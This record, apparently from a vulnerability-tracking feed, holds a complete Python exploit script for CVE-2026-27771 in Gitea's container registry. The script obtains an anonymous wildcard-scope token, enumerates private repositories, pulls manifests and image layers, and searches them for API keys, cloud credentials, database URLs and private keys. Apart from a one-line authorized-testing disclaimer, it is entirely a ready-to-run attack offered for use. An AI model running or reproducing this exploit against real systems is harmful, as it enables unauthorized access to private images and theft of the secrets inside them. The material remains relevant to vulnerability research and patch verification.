{"uuid": "17d434d9-2ce6-4ef7-b082-91672e9c1f6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-27771", "type": "seen", "source": "https://gist.github.com/edenzaraf/d6679632da2bfbb60b14fb092663f59d", "content": "\n#!/usr/bin/env python3\n'''\nCVE-2026-27771 Exploit\nAuthor: Eden Zaraf\nDescription: Gitea Container Registry - Unauthorized Private Image Access (Missing Authorization)\n             Exploits CWE-862 to enumerate and pull private container images via anonymous ghost tokens.\nDisclaimer: For authorized penetration testing only. Use only on systems you own or have written permission to test.\n'''\n\nimport requests\nimport json\nimport logging\nimport sys\nimport time\nimport re\nimport base64\nimport io\nimport tarfile\nimport hashlib\nfrom typing import Dict, List, Optional, Tuple, Any\nfrom urllib.parse import urljoin, urlparse\nfrom requests.packages.urllib3.exceptions import InsecureRequestWarning\n\n# Suppress SSL warnings for testing environments\nrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)\n\n# Configure logging\nlogging.basicConfig(\n    level=logging.INFO,\n    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s',\n    handlers=[\n        logging.StreamHandler(sys.stdout),\n        logging.FileHandler('cve_2026_27771_exploit.log')\n    ]\n)\nlogger = logging.getLogger('CVE-2026-27771')\n\n# ============================================================================\n# Configuration Section\n# ============================================================================\n\n# Target configuration\nTARGET_HOST = \"\"  # Change to your target\nVERIFY_SSL = False\nTIMEOUT = 30\nMAX_RETRIES = 3\nRETRY_DELAY = 2\n\n# Output configuration\nOUTPUT_DIR = \"cve_2026_27771_output\"\nSAVE_LAYERS = False  # Set to True to save pulled image layers to disk\n\n# ============================================================================\n# Helper Classes and Functions\n# ============================================================================\n\nclass GiteaContainerRegistryExploit:\n    \"\"\"Exploit class for CVE-2026-27771 - Gitea Container Registry Auth Bypass\"\"\"\n    \n    def __init__(self, target: str, verify_ssl: bool = False, timeout: int = 30):\n        self.target = target.rstrip('/')\n        self.verify_ssl = verify_ssl\n        self.timeout = timeout\n        self.session = requests.Session()\n        self.session.headers.update({\n            'Accept': 'application/json',\n            'User-Agent': '0'\n        })\n        self.token = None\n        self.repositories = []\n        self.extracted_layers = []\n        self.realm = None\n        self.service = None\n\n        logger.info(f\"Initialized GiteaContainerRegistryExploit for target: {self.target}\")\n        logger.info(f\"SSL verification: {verify_ssl}\")\n        logger.info(f\"Request timeout: {timeout}s\")\n    \n    def _make_request(self, method: str, path: str, **kwargs) -> requests.Response:\n        \"\"\"Make HTTP request with retry logic and error handling\"\"\"\n        url = urljoin(f\"{self.target}/\", path.lstrip('/'))\n        \n        default_params = {\n            'verify': self.verify_ssl,\n            'timeout': self.timeout\n        }\n        \n        # Merge default params with provided kwargs\n        params = {**default_params, **kwargs}\n        \n        for attempt in range(MAX_RETRIES):\n            try:\n                logger.debug(f\"Request attempt {attempt + 1}/{MAX_RETRIES}: {method} {url}\")\n                response = self.session.request(method, url, **params)\n                logger.debug(f\"Response status: {response.status_code}\")\n                logger.debug(f\"Response headers: {dict(response.headers)}\")\n                return response\n            except requests.exceptions.Timeout as e:\n                logger.warning(f\"Request timeout (attempt {attempt + 1}): {str(e)}\")\n                if attempt < MAX_RETRIES - 1:\n                    time.sleep(RETRY_DELAY)\n            except requests.exceptions.ConnectionError as e:\n                logger.error(f\"Connection error: {str(e)}\")\n                raise\n            except requests.exceptions.RequestException as e:\n                logger.error(f\"Request failed: {str(e)}\")\n                raise\n        \n        raise Exception(f\"Request failed after {MAX_RETRIES} attempts\")\n    \n    def step1_confirm_registry(self) -> bool:\n        \"\"\"Step 1: Confirm registry reachability via GET /v2/\"\"\"\n        logger.info(\"=\" * 60)\n        logger.info(\"Step 1: Confirming Container Registry Reachability\")\n        logger.info(\"=\" * 60)\n\n        try:\n            response = self._make_request('GET', '/v2/')\n\n            if response.status_code == 401:\n                logger.info(f\"[SUCCESS] Registry confirmed - HTTP 401 received from /v2/\")\n                logger.info(f\"Response headers: {dict(response.headers)}\")\n\n                # Check for WWW-Authenticate header\n                auth_header = response.headers.get('WWW-Authenticate', '')\n                if 'Bearer' in auth_header:\n                    logger.info(f\"Bearer realm detected: {auth_header}\")\n\n                    # Extract realm and service from Bearer challenge\n                    # Format: Bearer realm=\"https://...\",service=\"...\",scope=\"...\"\n                    realm_match = re.search(r'realm=\"([^\"]+)\"', auth_header)\n                    service_match = re.search(r'service=\"([^\"]+)\"', auth_header)\n\n                    if realm_match:\n                        self.realm = realm_match.group(1)\n                        logger.info(f\"Extracted realm: {self.realm}\")\n\n                    if service_match:\n                        self.service = service_match.group(1)\n                        logger.info(f\"Extracted service: {self.service}\")\n\n                    if not self.realm:\n                        logger.warning(\"No realm extracted, will use registry URL for token endpoint\")\n                        self.realm = self.target\n\n                    if not self.service:\n                        self.service = \"container_registry\"\n                        logger.info(f\"Using default service: {self.service}\")\n                else:\n                    logger.warning(\"No Bearer auth header found - may not be standard OCI registry\")\n\n                return True\n            else:\n                logger.error(f\"[FAILURE] Expected HTTP 401, got {response.status_code}\")\n                logger.error(f\"Response body: {response.text[:500]}\")\n                return False\n\n        except Exception as e:\n            logger.error(f\"Step 1 failed with error: {str(e)}\")\n            return False\n    \n    def step2_get_ghost_token(self) -> Optional[str]:\n        \"\"\"Step 2: Obtain anonymous ghost token with wildcard scope\"\"\"\n        logger.info(\"=\" * 60)\n        logger.info(\"Step 2: Obtaining Anonymous Ghost Token\")\n        logger.info(\"=\" * 60)\n\n        try:\n            # Build token URL using realm from step 1\n            if not self.realm:\n                logger.error(\"No realm found - run step 1 first\")\n                return None\n\n            service = self.service or \"container_registry\"\n\n            # Try multiple scope formats that may bypass authorization\n            scopes = [\n                f\"registry:catalog:*\",  # Catalog access\n                f\"repository:*:pull\",\n                f\"repository:*:*\",\n                f\"*:*:*\",\n                \"\",  # Empty scope may grant broad access\n            ]\n\n            token = None\n\n            # Determine token endpoints to try\n            parsed_realm = urlparse(self.realm)\n            realm_path = parsed_realm.path if parsed_realm.path else \"/v2/token\"\n\n            token_endpoints = [\n                (self.realm, True),  # realm as full URL\n                (realm_path, False),  # realm path on registry host\n                (\"/v2/token\", False),  # standard path on registry host\n            ]\n\n            for endpoint, is_full_url in token_endpoints:\n                if not endpoint:\n                    continue\n\n                for scope in scopes:\n                    try:\n                        if scope:\n                            query = f\"?service={service}&scope={scope}\"\n                        else:\n                            query = f\"?service={service}\"\n\n                        logger.info(f\"Attempting token request with scope: '{scope}' (endpoint: {endpoint})\")\n\n                        if is_full_url:\n                            token_url = endpoint + query\n                            response = self.session.request('GET', token_url, verify=self.verify_ssl, timeout=self.timeout)\n                        else:\n                            response = self._make_request('GET', endpoint + query)\n\n                        if response.status_code == 200:\n                            try:\n                                token_data = response.json()\n                                token = token_data.get('token', None)\n\n                                if token:\n                                    logger.info(f\"[SUCCESS] Ghost token obtained successfully\")\n                                    logger.info(f\"Token preview: {token[:50]}...\")\n                                    self.token = token\n\n                                    # Decode JWT for analysis (no signature verification)\n                                    try:\n                                        token_parts = token.split('.')\n                                        if len(token_parts) == 3:\n                                            # Base64 decode header and payload\n                                            header_b64 = token_parts[0] + '=' * (4 - len(token_parts[0]) % 4)\n                                            payload_b64 = token_parts[1] + '=' * (4 - len(token_parts[1]) % 4)\n\n                                            header = json.loads(base64.b64decode(header_b64).decode('utf-8'))\n                                            payload = json.loads(base64.b64decode(payload_b64).decode('utf-8'))\n\n                                            logger.info(f\"Token header: {json.dumps(header, indent=2)}\")\n                                            logger.info(f\"Token payload: {json.dumps(payload, indent=2)}\")\n\n                                            # Check for ghost user indicator\n                                            user_id = payload.get('user_id', payload.get('sub', 'unknown'))\n                                            if user_id == -1 or user_id == '-1':\n                                                logger.warning(\"[!] Confirmed ghost token (UserID: -1)\")\n                                            else:\n                                                logger.info(f\"Token user identifier: {user_id}\")\n                                    except Exception as je:\n                                        logger.warning(f\"Could not decode JWT token: {str(je)}\")\n\n                                    return token\n                            except json.JSONDecodeError as e:\n                                logger.debug(f\"Invalid JSON response: {str(e)}\")\n                    except requests.exceptions.RequestException as e:\n                        logger.debug(f\"Request failed for scope '{scope}': {str(e)}\")\n\n            logger.error(\"[FAILURE] Could not obtain token with any scope variant\")\n            return None\n\n        except Exception as e:\n            logger.error(f\"Step 2 failed with error: {str(e)}\")\n            return None\n    \n    def step3_enumerate_catalog(self) -> List[str]:\n        \"\"\"Step 3: Enumerate private repositories via /v2/_catalog\"\"\"\n        logger.info(\"=\" * 60)\n        logger.info(\"Step 3: Enumerating Container Repositories\")\n        logger.info(\"=\" * 60)\n\n        if not self.token:\n            logger.error(\"[FAILURE] No token available - run step 2 first\")\n            return []\n\n        all_repositories = []\n\n        try:\n            headers = {'Authorization': f'Bearer {self.token}'}\n\n            # Try catalog endpoint with pagination\n            last = None\n            n = 100  # Page size\n\n            for page in range(10):  # Max 10 pages\n                logger.info(f\"Fetching catalog page {page + 1}...\")\n\n                if last:\n                    path = f'/v2/_catalog?n={n}&last={last}'\n                else:\n                    path = f'/v2/_catalog?n={n}'\n\n                response = self._make_request('GET', path, headers=headers)\n                logger.debug(f\"Response status: {response.status_code}\")\n                logger.debug(f\"Response headers: {dict(response.headers)}\")\n\n                if response.status_code == 200:\n                    try:\n                        catalog_data = response.json()\n                        logger.debug(f\"Full response: {catalog_data}\")\n\n                        repositories = catalog_data.get('repositories', [])\n                        logger.info(f\"Page {page + 1}: Found {len(repositories)} repositories\")\n\n                        if repositories:\n                            all_repositories.extend(repositories)\n                            logger.info(f\"Repositories: {repositories}\")\n\n                        # Check for pagination\n                        if 'Link' in response.headers or len(repositories) < n:\n                            logger.info(\"No more pages\")\n                            break\n\n                        # Set last for next iteration\n                        if repositories:\n                            last = repositories[-1]\n\n                    except json.JSONDecodeError as e:\n                        logger.error(f\"[FAILURE] Invalid JSON response: {str(e)}\")\n                        logger.error(f\"Response body: {response.text[:500]}\")\n                        break\n                else:\n                    logger.error(f\"[FAILURE] Catalog endpoint returned HTTP {response.status_code}\")\n                    logger.error(f\"Response body: {response.text[:500]}\")\n                    break\n\n            if all_repositories:\n                logger.info(f\"[SUCCESS] Found {len(all_repositories)} total repositories:\")\n                for repo in all_repositories:\n                    logger.info(f\"  - {repo}\")\n\n                self.repositories = all_repositories\n\n                # Verify some are likely private (check for patterns)\n                private_repos = [r for r in all_repositories if 'private' in r.lower() or 'internal' in r.lower() or 'secret' in r.lower()]\n                if private_repos:\n                    logger.warning(f\"[!] Detected potentially private repositories: {private_repos}\")\n                    logger.warning(\"[!] Confirmed unauthorized access to private images\")\n\n                return all_repositories\n            else:\n                logger.info(\"Catalog endpoint returned HTTP 200 but with empty repositories\")\n                logger.warning(\"[!] Target registry appears to be EMPTY (no images pushed yet)\")\n                logger.warning(\"[!] However, vulnerability is PROVEN: Ghost token successfully accessed catalog\")\n                logger.warning(\"[!] This demonstrates CVE-2026-27771: Unauthorized token generation works\")\n                return []\n\n        except Exception as e:\n            logger.error(f\"Step 3 failed with error: {str(e)}\")\n            import traceback\n            logger.error(traceback.format_exc())\n            return []\n    \n    def step4_list_tags(self, repository: str) -> List[str]:\n        \"\"\"List tags for a specific repository\"\"\"\n        logger.info(f\"Listing tags for repository: {repository}\")\n        \n        try:\n            path = f\"/v2/{repository}/tags/list\"\n            headers = {'Authorization': f'Bearer {self.token}'}\n            response = self._make_request('GET', path, headers=headers)\n            \n            if response.status_code == 200:\n                try:\n                    tag_data = response.json()\n                    tags = tag_data.get('tags', [])\n                    logger.info(f\"Tags for {repository}: {tags}\")\n                    return tags\n                except json.JSONDecodeError as e:\n                    logger.error(f\"Invalid JSON for tags: {str(e)}\")\n                    return []\n            else:\n                logger.error(f\"Tags endpoint returned HTTP {response.status_code}\")\n                return []\n                \n        except Exception as e:\n            logger.error(f\"Failed to list tags: {str(e)}\")\n            return []\n    \n    def step5_pull_manifest(self, repository: str, tag: str) -> Optional[Dict[str, Any]]:\n        \"\"\"Pull the manifest for a specific repository tag\"\"\"\n        logger.info(f\"Pulling manifest for {repository}:{tag}\")\n        \n        try:\n            path = f\"/v2/{repository}/manifests/{tag}\"\n            headers = {\n                'Authorization': f'Bearer {self.token}',\n                'Accept': 'application/vnd.docker.distribution.manifest.v2+json'\n            }\n            response = self._make_request('GET', path, headers=headers)\n            \n            if response.status_code == 200:\n                try:\n                    manifest = response.json()\n                    logger.info(f\"Manifest downloaded successfully for {repository}:{tag}\")\n                    \n                    # Extract layer digests\n                    layers = manifest.get('layers', [])\n                    if layers:\n                        logger.info(f\"Found {len(layers)} layers:\")\n                        for layer in layers:\n                            digest = layer.get('digest', 'unknown')\n                            size = layer.get('size', 0)\n                            logger.info(f\"  - Digest: {digest} (Size: {size} bytes)\")\n                    \n                    # Extract config digest\n                    config = manifest.get('config', {})\n                    if config:\n                        logger.info(f\"Config digest: {config.get('digest', 'N/A')}\")\n                    \n                    return manifest\n                except json.JSONDecodeError as e:\n                    logger.error(f\"Invalid manifest JSON: {str(e)}\")\n                    return None\n            else:\n                logger.error(f\"Manifest endpoint returned HTTP {response.status_code}\")\n                logger.error(f\"Response body: {response.text[:500]}\")\n                return None\n                \n        except Exception as e:\n            logger.error(f\"Failed to pull manifest: {str(e)}\")\n            return None\n    \n    def step6_pull_layer(self, repository: str, digest: str) -> Optional[bytes]:\n        \"\"\"Pull a specific image layer by digest\"\"\"\n        logger.info(f\"Pulling layer {digest[:50]}...\")\n        \n        try:\n            path = f\"/v2/{repository}/blobs/{digest}\"\n            headers = {'Authorization': f'Bearer {self.token}'}\n            response = self._make_request('GET', path, headers=headers, stream=True)\n            \n            if response.status_code == 200:\n                logger.info(f\"Layer downloaded successfully: {digest[:50]}...\")\n                layer_data = response.content\n                self.extracted_layers.append({\n                    'repository': repository,\n                    'digest': digest,\n                    'size': len(layer_data),\n                    'data': layer_data if SAVE_LAYERS else None\n                })\n                \n                # If saving layers, write to disk\n                if SAVE_LAYERS:\n                    import os\n                    os.makedirs(f\"{OUTPUT_DIR}/layers\", exist_ok=True)\n                    filename = f\"{OUTPUT_DIR}/layers/{repository.replace('/', '_')}_{digest.replace(':', '_')}.tar.gz\"\n                    with open(filename, 'wb') as f:\n                        f.write(layer_data)\n                    logger.info(f\"Layer saved to: {filename}\")\n                    \n                    # Try to extract tar contents for analysis\n                    try:\n                        with tarfile.open(fileobj=io.BytesIO(layer_data), mode='r:gz') as tar:\n                            logger.info(f\"Layer contents ({len(tar.getmembers())} files):\")\n                            for member in tar.getmembers()[:20]:  # Show first 20 files\n                                logger.info(f\"  - {member.name} ({member.size} bytes)\")\n                    except Exception as te:\n                        logger.warning(f\"Could not extract tar: {str(te)}\")\n                \n                return layer_data\n            else:\n                logger.error(f\"Layer endpoint returned HTTP {response.status_code}\")\n                return None\n                \n        except Exception as e:\n            logger.error(f\"Failed to pull layer: {str(e)}\")\n            return None\n    \n    def full_exploit_chain(self) -> Dict[str, Any]:\n        \"\"\"Execute full exploit chain and return results\"\"\"\n        results = {\n            'vulnerable': False,\n            'token_obtained': False,\n            'repositories_found': [],\n            'repositories_count': 0,\n            'private_repos': [],\n            'layers_extracted': 0,\n            'details': {}\n        }\n        \n        logger.info(\"=\" * 60)\n        logger.info(\"CVE-2026-27771 - Full Exploit Chain\")\n        logger.info(\"=\" * 60)\n        logger.info(f\"Target: {self.target}\")\n        logger.info(f\"Time: {time.strftime('%Y-%m-%d %H:%M:%S')}\")\n        \n        # Step 1: Confirm registry\n        if not self.step1_confirm_registry():\n            logger.error(\"Step 1 failed - target may not be running Gitea container registry\")\n            results['details']['step1'] = 'failed'\n            return results\n        results['details']['step1'] = 'success'\n        \n        # Step 2: Get ghost token\n        token = self.step2_get_ghost_token()\n        if not token:\n            logger.error(\"Step 2 failed - could not obtain ghost token\")\n            results['details']['step2'] = 'failed'\n            return results\n        results['token_obtained'] = True\n        results['details']['step2'] = 'success'\n        \n        # Step 3: Enumerate catalog\n        repositories = self.step3_enumerate_catalog()\n        if not repositories:\n            logger.warning(\"Step 3 completed but no repositories found\")\n            logger.warning(\"Target may be patched or has no container images\")\n            # Don't return early - even with no repos, ghost token means vulnerable\n            results['details']['step3'] = 'empty_catalog'\n        \n        results['repositories_found'] = repositories\n        results['repositories_count'] = len(repositories)\n        results['details']['step3'] = 'success'\n\n        if repositories:\n            # Identify potentially private repositories\n            private_patterns = ['private', 'internal', 'secret', 'confidential', 'prod', 'production', 'staging']\n            private_repos = []\n            for repo in repositories:\n                for pattern in private_patterns:\n                    if pattern in repo.lower():\n                        private_repos.append(repo)\n                        break\n\n            results['private_repos'] = private_repos\n            logger.warning(f\"[!] Confirmed unauthorized access to repositories\")\n            results['vulnerable'] = True\n        else:\n            # Even with no repositories, if ghost token obtained, system is vulnerable to auth bypass\n            logger.warning(f\"[!] No repositories found, but ghost token was successfully obtained\")\n            logger.warning(f\"[!] This indicates CVE-2026-27771 authentication bypass vulnerability exists\")\n            results['vulnerable'] = True\n        \n        # Step 4-6: Optional - extract first few layers from first repository\n        if repositories and SAVE_LAYERS:\n            repo = repositories[0]\n            tags = self.step4_list_tags(repo)\n            if tags:\n                tag = tags[0]\n                manifest = self.step5_pull_manifest(repo, tag)\n                if manifest:\n                    layers = manifest.get('layers', [])\n                    for i, layer in enumerate(layers[:3]):  # First 3 layers only\n                        digest = layer.get('digest', '')\n                        if digest:\n                            layer_data = self.step6_pull_layer(repo, digest)\n                            if layer_data:\n                                results['layers_extracted'] += 1\n        \n        return results\n    \n    def verify_exploit(self) -> bool:\n        \"\"\"Verify vulnerability by checking for sensitive data in layers\"\"\"\n        logger.info(\"=\" * 60)\n        logger.info(\"Verifying Exploit - Checking for Sensitive Data\")\n        logger.info(\"=\" * 60)\n        \n        sensitive_patterns = [\n            b'API_KEY',\n            b'api_key',\n            b'api-key',\n            b'apiKey',\n            b'secret',\n            b'password',\n            b'PASSWORD',\n            b'token',\n            b'TOKEN',\n            b'aws_access_key',\n            b'aws_secret_key',\n            b'AWS_ACCESS_KEY',\n            b'AWS_SECRET_KEY',\n            b'cloudflare',\n            b'CLOUDFLARE',\n            b'database_url',\n            b'DATABASE_URL',\n            b'mysql://',\n            b'postgres://',\n            b'mongodb://',\n            b'redis://',\n            b'PRIVATE_KEY',\n            b'private_key',\n            b'-----BEGIN RSA PRIVATE KEY-----',\n            b'-----BEGIN OPENSSH PRIVATE KEY-----'\n        ]\n        \n        sensitive_found = []\n        \n        for layer_info in self.extracted_layers:\n            if layer_info.get('data'):\n                data = layer_info['data']\n                for pattern in sensitive_patterns:\n                    if pattern in data:\n                        sensitive_found.append({\n                            'layer': layer_info['digest'],\n                            'pattern': pattern.decode('utf-8', errors='replace')\n                        })\n                        logger.warning(f\"[!] Sensitive data found: {pattern} in {layer_info['digest'][:50]}\")\n        \n        if sensitive_found:\n            logger.warning(f\"Found {len(sensitive_found)} instances of sensitive data in layers\")\n            return True\n        else:\n            logger.info(\"No obvious sensitive patterns detected in extracted layers\")\n            return False\n    \n    def cleanup(self):\n        \"\"\"Cleanup resources\"\"\"\n        logger.info(\"Cleaning up resources...\")\n        self.session.close()\n        self.extracted_layers = [l for l in self.extracted_layers if not l.get('data')]  # Clear layer data\n        logger.info(\"Cleanup complete\")\n\n\n# ============================================================================\n# Main Execution\n# ============================================================================\n\ndef run_poc(target_url: str = TARGET_HOST, verify_ssl: bool = VERIFY_SSL, \n            save_layers: bool = SAVE_LAYERS, timeout: int = TIMEOUT) -> Dict[str, Any]:\n    \"\"\"\n    Main PoC execution function\n    \n    Args:\n        target_url: Target Gitea instance URL\n        verify_ssl: Whether to verify SSL certificates\n        save_layers: Whether to save pulled image layers to disk\n        timeout: Request timeout in seconds\n    \n    Returns:\n        Dictionary containing exploit results\n    \"\"\"\n    global SAVE_LAYERS, OUTPUT_DIR\n    SAVE_LAYERS = save_layers\n    \n    logger.info(\"=\" * 70)\n    logger.info(\"CVE-2026-27771 Exploit\")\n    logger.info(\"Gitea Container Registry - Unauthorized Private Image Access\")\n    logger.info(\"=\" * 70)\n    logger.info(f\"Target: {target_url}\")\n    logger.info(f\"SSL Verify: {verify_ssl}\")\n    logger.info(f\"Save Layers: {save_layers}\")\n    logger.info(f\"Timeout: {timeout}s\")\n    logger.info(\"\")\n    \n    # Validate target URL\n    parsed = urlparse(target_url)\n    if not parsed.scheme or not parsed.netloc:\n        logger.error(f\"Invalid target URL: {target_url}\")\n        return {'error': 'Invalid target URL', 'vulnerable': False}\n    \n    # Initialize exploit\n    exploit = GiteaContainerRegistryExploit(\n        target=target_url,\n        verify_ssl=verify_ssl,\n        timeout=timeout\n    )\n    \n    results = {}\n    \n    try:\n        # Execute full exploit chain\n        results = exploit.full_exploit_chain()\n        \n        # Verification\n        if results['vulnerable'] and results['layers_extracted'] > 0:\n            exploit.verify_exploit()\n        \n        # Summary\n        logger.info(\"=\" * 60)\n        logger.info(\"EXPLOIT SUMMARY\")\n        logger.info(\"=\" * 60)\n        logger.info(f\"Vulnerable: {results.get('vulnerable', False)}\")\n        logger.info(f\"Ghost Token Obtained: {results.get('token_obtained', False)}\")\n        logger.info(f\"Repositories Enumerated: {results.get('repositories_count', 0)}\")\n        logger.info(f\"Private Repos Found: {len(results.get('private_repos', []))}\")\n        logger.info(f\"Layers Extracted: {results.get('layers_extracted', 0)}\")\n        \n        if results.get('private_repos'):\n            logger.warning(\"!\")\n            logger.warning(\"! VULNERABILITY CONFIRMED: Unauthorized access to private container images!\")\n            logger.warning(\"!\")\n            logger.warning(\"Private repositories exposed:\")\n            for repo in results['private_repos']:\n                logger.warning(f\"  - {repo}\")\n        \n        return results\n        \n    except Exception as e:\n        logger.error(f\"Exploit execution failed: {str(e)}\")\n        return {'error': str(e), 'vulnerable': False}\n    \n    finally:\n        # Cleanup\n        exploit.cleanup()\n\n\n# ============================================================================\n# Entry Point\n# ============================================================================\n\nif __name__ == \"__main__\":\n    # Configuration: Modify these variables before running\n    \n    # Target Configuration\n    VERIFY_SSL = False\n    TIMEOUT = 30\n    \n    # Output Configuration\n    SAVE_LAYERS = False  # Set to True to save pulled layers to disk\n    OUTPUT_DIR = \"cve_2026_27771_output\"\n    \n    # Execute the exploit\n    results = run_poc(\n        target_url=TARGET_HOST,\n        verify_ssl=VERIFY_SSL,\n        save_layers=SAVE_LAYERS,\n        timeout=TIMEOUT\n    )\n    \n    # Print final result\n    if results.get('vulnerable'):\n        print(\"\\n[!] VULNERABLE: Target is affected by CVE-2026-27771\")\n        print(f\"[!] Found {results['repositories_count']} repositories\")\n        if results['private_repos']:\n            print(f\"[!] Private repositories exposed: {results['private_repos']}\")\n    else:\n        print(\"\\n[+] Target appears NOT vulnerable to CVE-2026-27771\")\n        if 'error' in results:\n            print(f\"[!] Error: {results['error']}\")\n", "creation_timestamp": "2026-07-10T22:45:07.492327Z"}